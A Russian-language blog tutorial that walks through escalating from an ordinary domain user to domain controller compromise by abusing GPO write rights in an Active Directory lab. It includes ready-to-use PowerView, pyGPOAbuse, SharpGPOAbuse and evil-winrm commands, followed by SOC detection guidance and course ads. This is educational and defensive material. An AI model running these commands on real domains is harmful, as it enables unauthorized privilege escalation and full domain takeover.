Перейти к содержимому

Эксплуатация небезопасной GPO-делегации Active Directory: полный путь без BloodHound

Эксплуатация небезопасной GPO-делегации Active Directory: полный путь без BloodHound
Время чтения: 12 мин.

На учебном стенде я дал джуну задачу: найти путь от рядовой доменной учётки до контроллера через GPO. Он открыл BloodHound, кликнул «Shortest Path to Domain Admins» — через 40 секунд получил готовый граф. Потом я попросил объяснить, что именно даёт ребро «GenericWrite» между его пользователем и GPO и почему это критично. Тишина.

BloodHound — отличный инструмент. Но если не понимаешь, что он автоматизирует, ты оператор кнопок, а не пентестер. Ниже — полный lab walkthrough Active Directory: от обнаружения слабой ACL до компрометации контроллера домена, выполненный вручную. Каждый шаг — тот механизм, который BloodHound прячет за красивым графом.

Бизнес-логика атаки: зачем злоумышленнику GPO-делегация

GPO (Group Policy Object — объект групповой политики) позволяет администратору массово раздавать настройки, запускать скрипты и создавать запланированные задачи на сотнях машин одновременно. Клиентские компьютеры каждые 90 минут (±30 минут) обращаются к SYSVOL — сетевой папке на контроллере домена, где хранятся файлы групповых политик — и применяют обновлённые GPO. Контроллеры домена опрашивают SYSVOL каждые 5 минут.

Атакующему достаточно получить право записи в один GPO, привязанный к нужной OU (Organizational Unit — контейнер для объектов домена, по сути «папка» в AD), чтобы выполнить произвольный код на каждой машине в этой OU. Если GPO привязан к OU «Domain Controllers» или к корню домена — это прямой путь к контроллеру.

В терминах MITRE ATT&CK (открытая база тактик и техник атак; T-коды вроде T1484.001 — её идентификаторы) цепочка затрагивает три техники:

  • T1615 Group Policy Discovery (тактика: Discovery) — разведка GPO в домене и прав текущего пользователя
  • T1484.001 Group Policy Modification (тактики: Privilege Escalation, Defense Evasion) — внедрение вредоносного payload в GPO
  • T1552.006 Group Policy Preferences (тактика: Credential Access) — побочный вектор: извлечение паролей из устаревших GPP-файлов в SYSVOL. Ключ расшифровки Microsoft опубликовала ещё в 2012 году — «шифрование» там чисто номинальное

Откуда берётся проблема? Администратор выдаёт helpdesk-команде право управлять определённым GPO, но вместо точечного разрешения присваивает GenericWrite или WriteDacl. Одна лишняя строка в ACL (Access Control List — список контроля доступа, определяющий «кто что может делать с объектом») — и рядовой пользователь может отравить GPO, добавив Immediate Scheduled Task. По данным ESET, в 2022 году деструктивный вайпер CaddyWiper предположительно распространялся через GPO в украинских сетях. Это не учебная абстракция.

Лабораторный стенд: минимальная конфигурация для GPO abuse

Прежде чем воспроизводить шаги — подготовьте окружение. Без работающего стенда всё ниже останется теорией.

Минимальный набор:

Компонент Что нужно Зачем
Контроллер домена Windows Server 2019/2022 с развёрнутым AD Целевая машина. Для быстрого развёртывания подходят проекты GOAD или DetectionLab — они автоматизируют установку через Vagrant
Атакующая машина Kali Linux или любой Linux с Python 3 Инструменты эксплуатации (pyGPOAbuse) и PowerView через PowerShell Core
Сетевой доступ Порты LDAP (389/TCP), SMB (445/TCP), DNS (53/UDP) открыты между машинами Без LDAP не прочитаешь ACL, без SMB не запишешь payload в SYSVOL
Уязвимая конфигурация Доменный пользователь labuser с правом GenericWrite на GPO, привязанный к OU «Domain Controllers» Имитация ошибки делегирования

Как создать уязвимую конфигурацию: в GPMC (Group Policy Management Console — консоль управления GPO) откройте свойства GPO → вкладка Delegation → Add → укажите labuser → выберите «Edit settings, delete, modify security». Этого достаточно для GenericWrite. Альтернативно — командлет Set-GPPermission.

Все команды ниже выполняются от имени labuser — обычного доменного пользователя без административных прав.

Ручной анализ AD-прав делегирования без BloodHound

Вот что BloodHound делает «под капотом»: подключается к контроллеру по LDAP, считывает все объекты AD с их ACL, загружает данные в Neo4j и строит граф связей. Мы повторим ключевую часть этого процесса руками — через три атомарных шага.

Шаг 1: перечисляем все GPO в домене

Прежде чем искать опасные права, нужен список всех GPO и их GUID (глобально уникальный идентификатор — строка вида {4B878AA9-238D-...}, по которой AD адресует каждую политику).

С PowerView (модуль PowerShell для пентеста AD, скачивается с GitHub): Get-DomainGPO -Properties DisplayName,DistinguishedName | Sort-Object DisplayName. Команда вернёт таблицу с читаемыми именами и DN (Distinguished Name — полный путь объекта в каталоге AD, содержащий GUID).

Без PowerView — штатный AD-модуль: Get-ADObject -Filter {objectClass -eq "groupPolicyContainer"} -Properties DisplayName. Результат тот же: список GPO с именами.

Ожидаемый вывод: таблица из 5–15 строк (в типичном домене). Запишите GUID каждого GPO — они понадобятся на следующем шаге.

Шаг 2: читаем ACL и находим GPO с уязвимой делегацией

Теперь нужно найти GPO, на которые labuser имеет права записи. Именно этот шаг BloodHound автоматизирует и визуализирует как «рёбра» между узлами графа.

# PowerView: перечисляем ACE на всех GPO, фильтруем по нашему SID
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | `
  Where-Object {
    $_.ActiveDirectoryRights -match `
      "WriteProperty|WriteDacl|WriteOwner|GenericAll|GenericWrite" -and `
    $_.SecurityIdentifier -eq (Get-DomainUser labuser).objectsid
  } | Select-Object ObjectDN, ActiveDirectoryRights, AceType

Что здесь происходит: Get-DomainGPO получает все GPO. Get-DomainObjectAcl -ResolveGUIDs считывает ACL каждого — флаг -ResolveGUIDs превращает технические GUID свойств в читаемые имена. Без него вместо «WriteProperty → gPCFileSysPath» увидите непрозрачную строку. Фильтр оставляет только записи с опасными правами для нашего пользователя.

Три типа прав, каждое из которых открывает abuse GPO permissions AD:

GenericWrite — право записи любых атрибутов, включая содержимое GPO в SYSVOL. Самый частый случай: выдаётся при делегировании helpdesk-команде.

WriteDacl — право изменить сам ACL GPO и назначить себе полный доступ. Звучит безобидно? На практике это один шаг до GenericAll.

WriteOwner — право стать владельцем GPO с последующим назначением произвольных прав. Владелец объекта в AD может делать с ним что угодно.

Ожидаемый вывод: одна или несколько строк с ObjectDN целевого GPO и типом права. Пустой вывод — у текущего пользователя нет опасных прав ни на один GPO.

Без PowerView — два штатных варианта. Утилита dsacls (встроенный инструмент Windows для просмотра ACL объектов AD): dsacls "CN={GUID},CN=Policies,CN=System,DC=lab,DC=local". В выводе ищите строки с именем labuser и правами WRITE PROP, FULL CONTROL или CREATE CHILD. Второй способ — через PowerShell AD-провайдер: (Get-Acl "AD:CN={GUID},CN=Policies,CN=System,DC=lab,DC=local").Access | Where-Object {$_.IdentityReference -like "*labuser*"}. Результат — объект с полями ActiveDirectoryRights и AccessControlType (Allow/Deny).

Шаг 3: определяем, куда привязан уязвимый GPO

GPO сам по себе — набор настроек. Критично, к каким OU он привязан (linked). GPO, привязанный к OU «Domain Controllers», при отравлении даёт код на контроллере. GPO, привязанный к OU «Workstations», даёт только рабочие станции — тоже полезно для lateral movement, но не для прямой компрометации контроллера домена через GPO.

Команда PowerView: Get-DomainOU -GPLink "{GUID}" -Properties DistinguishedName. Покажет все OU, к которым привязан этот GPO.

Штатный способ: Get-ADOrganizationalUnit -Filter * -Properties gpLink | Where-Object {$_.gpLink -like "*{GUID}*"}.

Если в выводе есть OU=Domain Controllers,DC=lab,DC=local — это прямой путь к DC. Записываем GUID этого GPO и переходим к эксплуатации.

Повышение привилегий через Group Policy: делай раз-два-три

Мы нашли GPO с GenericWrite для labuser, привязанный к OU «Domain Controllers». Дальше — цепочка atomic abuse GPO edit rights.

Делай раз: внедряем Immediate Scheduled Task

pyGPOAbuse — Python-инструмент, который подключается к SYSVOL по SMB (протокол сетевого доступа к файлам, порт 445/TCP) и записывает файл ScheduledTasks.xml в папку Machine\Preferences\ScheduledTasks\ нужного GPO. Этот файл описывает Immediate Scheduled Task — задачу, которая выполнится при ближайшем обновлении политики, без ожидания расписания.

Предпосылка: Python 3 на атакующей машине, открытый SMB-порт до DC.

git clone https://github.com/Hackndo/pyGPOAbuse.git
cd pyGPOAbuse && pip3 install -r requirements.txt
python3 pygpoabuse.py lab.local/labuser:'Password1' \
  -gpo-id "4B878AA9-238D-4975-B3A3-B7EE9990F66C" \
  -command "net.exe" \
  -arguments "localgroup administrators labuser /add"

Строка [+] ScheduledTask TASK_<random> created! подтверждает успешную инъекцию. Ошибка доступа — перепроверьте GenericWrite и доступность SMB.

Что pyGPOAbuse делает «под капотом»: создаёт XML-файл с элементом ImmediateTask, содержащим нашу команду net.exe localgroup administrators labuser /add, и записывает его в SYSVOL по SMB. Параллельно инкрементирует атрибут versionNumber GPO в каталоге AD через LDAP — без этого клиенты не заметят обновление. Деталь, которую легко упустить: если не обновить versionNumber, GPO формально изменился, но ни один клиент его не перечитает.

Делай два: ждём обновления политики

Контроллер домена обновляет GPO каждые 5 минут. На лабораторном стенде можно ускорить: gpupdate /force на DC. В реальном пентесте — ждёте. При обновлении контроллер считает обновлённый GPO из SYSVOL и выполнит Immediate Task от имени NT AUTHORITY\SYSTEM — наивысшей локальной учётной записи Windows.

Делай три: подключаемся к контроллеру

После срабатывания задачи labuser — локальный администратор контроллера домена. Подключаемся: evil-winrm -i 192.168.1.11 -u labuser -p 'Password1' (evil-winrm — инструмент удалённого подключения к Windows через WinRM, порт 5985/TCP). Успешное подключение — active directory privesc вручную состоялся.

whoami /priv покажет SeDebugPrivilege, SeBackupPrivilege и другие привилегии локального администратора. С этого момента доступны: дамп NTDS.dit (база данных AD с хэшами всех паролей) через secretsdump.py из Impacket, извлечение хэша krbtgt и создание Golden Ticket — билета Kerberos, дающего неограниченный доступ ко всему домену. Domain controller compromise завершён.

Альтернативы: SharpGPOAbuse и ручная правка XML

SharpGPOAbuse — .NET-аналог pyGPOAbuse для работы из Windows-сессии. Вызов: SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author "NT AUTHORITY\SYSTEM" --Command "cmd.exe" --Arguments "/c net localgroup administrators labuser /add" --GPOName "Vuln GPO".

Есть ещё один вектор, описанный Synacktiv: подмена атрибута gPCFileSysPath в объекте GPO через LDAP. Вместо настоящего пути SYSVOL указывается SMB-шара атакующего с подготовленным GPT. Этот подход работает даже через NTLM relay (без знания пароля пользователя) и реализован в инструменте GPOddity. Принципиальное отличие: pyGPOAbuse и SharpGPOAbuse пишут непосредственно в SYSVOL на DC, а GPOddity перенаправляет клиентов на шару атакующего. В логах файловых операций SYSVOL это «светится» меньше.

Для глубокого понимания механизма полезно хотя бы раз собрать payload вручную: взять шаблон ScheduledTasks.xml из SYSVOL другого GPO, заменить поля Command и Arguments, выставить тип immediateTask и записать файл обратно по SMB. Это то, что pyGPOAbuse делает автоматически, но ручная правка формирует понимание структуры GPT (Group Policy Template — файловая часть GPO в SYSVOL). Рекомендую проделать это хотя бы один раз — потом при отладке проблем с pyGPOAbuse будете понимать, где именно он ломается.

Где ломается ACL: типичные ошибки GPO-делегации

ACL misconfiguration AD в GPO — почти всегда результат одной из трёх ошибок.

Права на весь контейнер вместо конкретного GPO. Администратор выдаёт разрешения не на один объект CN={GUID}, а на весь контейнер CN=Policies,CN=System. Пользователь получает контроль над ВСЕМИ GPO в домене. Я видел это не раз: «нам было проще выдать на контейнер, чем разбираться с каждым GPO отдельно».

Наследование через вложенные группы. Пользователь состоит в группе «IT Support», которая входит в «GPO Admins», которая имеет WriteDacl на критичный GPO. Через три месяца администратор забывает об этой цепочке. BloodHound раскручивает вложенность автоматически. Вручную — Get-DomainGroupMember -Identity "GPO Admins" -Recurse (PowerView) или Get-ADGroupMember -Identity "GPO Admins" -Recursive (штатный AD-модуль).

GenericAll вместо точечных прав. Интерфейс GPMC предлагает удобные шаблоны делегирования, но при ручной настройке через Advanced Security Settings администратор нередко выбирает Full Control вместо конкретного WriteProperty на нужный атрибут. По документам — «расширенные права для управления», на практике — полный контроль над объектом.

Microsoft Defender for Identity считает учётные записи с WriteDACL на чувствительные объекты одним из приоритетных posture-индикаторов. Рекомендация простая: убрать WriteDACL у непривилегированных аккаунтов. Принцип полностью применим к GPO.

Компрометация контроллера домена через GPO: детект для SOC

Что защитник видит на каждом этапе цепочки — и какие правила уже готовы в SigmaHQ (открытый репозиторий детектирующих правил в формате YAML, конвертируемых в правила конкретного SIEM).

Разведка (T1615). Массовые LDAP-запросы к CN=Policies,CN=System с фильтром objectClass=groupPolicyContainer от одного пользователя — аномалия. Sigma-правило posh_ps_susp_get_gpo.yml срабатывает на вызов Get-DomainGPO или Get-GPO в PowerShell Script Block Logging. Правило proc_creation_win_gpresult_execution.yml детектирует массовый запуск gpresult — тоже маркер GPO-разведки.

Модификация GPO (T1484.001). Ключевой Event ID — 5136 (изменение объекта каталога). При инъекции через pyGPOAbuse в журнале Security контроллера домена появится событие 5136 с ObjectClass: groupPolicyContainer и AttributeLDAPDisplayName: versionNumber. Sigma-правила: win_security_default_domain_gpo_modification.yml (изменения Default Domain Policy), win_security_susp_group_policy_startup_script_added_to_gpo.yml (добавление startup-скриптов). Отдельно стоит мониторить файловую активность: создание ScheduledTasks.xml в \\DC\SYSVOL\...\Machine\Preferences\ScheduledTasks\ — прямой маркер Immediate Task injection. Правило file_access_win_susp_gpo_files.yml покрывает этот кейс.

GPP-пароли (T1552.006). Параллельный поиск устаревших GPP-файлов с паролями через findstr /S /I cpassword \\lab.local\SYSVOL\*.xml детектируется правилом proc_creation_win_findstr_gpp_passwords.yml.

Минимальный чеклист для SOC: включить аудит изменений объектов AD (Advanced Audit Policy → DS Access → Audit Directory Service Changes), настроить алерт на Event ID 5136 с фильтром по groupPolicyContainer, мониторить файловые операции в SYSVOL. Из D3FEND (knowledge graph защитных техник MITRE): приоритетные контрмеры — D3-CI Configuration Inventory (инвентаризация конфигураций GPO для обнаружения дрифта) и D3-AM Access Modeling (моделирование прав доступа для выявления избыточных ACL).

Опыт с GPO-делегацией на внутренних пентестах за последние два года сводится к одному наблюдению: в 7 из 10 доменов GenericWrite на GPO выдан кому-то, кому он не нужен. Причина — каскадное наследование прав через вложенные группы, о котором администратор забывает через полгода. BloodHound визуализирует эту проблему красиво, но полагаться на него как на чёрный ящик — ошибка. Инструмент не объясняет, почему ACL выглядит именно так, не покажет, какой legacy-скрипт десятилетней давности раздал GenericAll на весь контейнер Policies, и не подскажет, что dsacls выдаёт другой результат, потому что PowerView не резолвит SID удалённых объектов. Active Directory attack path manual enumeration — не романтика олдскула. Это гигиена, которая формирует понимание делегирования и ACL. Без неё на пентесте ты нажимаешь кнопки, а не принимаешь решения. Если фундамент под AD ещё шаткий и хочется разобраться системно — на IB Basics закрывают базу от сетевых протоколов до первых задач в blue team, без академического тона.

Эту тему и смежные навыки разбирают на практике в курсе «Анализ защищённости инфраструктуры на основе Active Directory» Codeby Academy.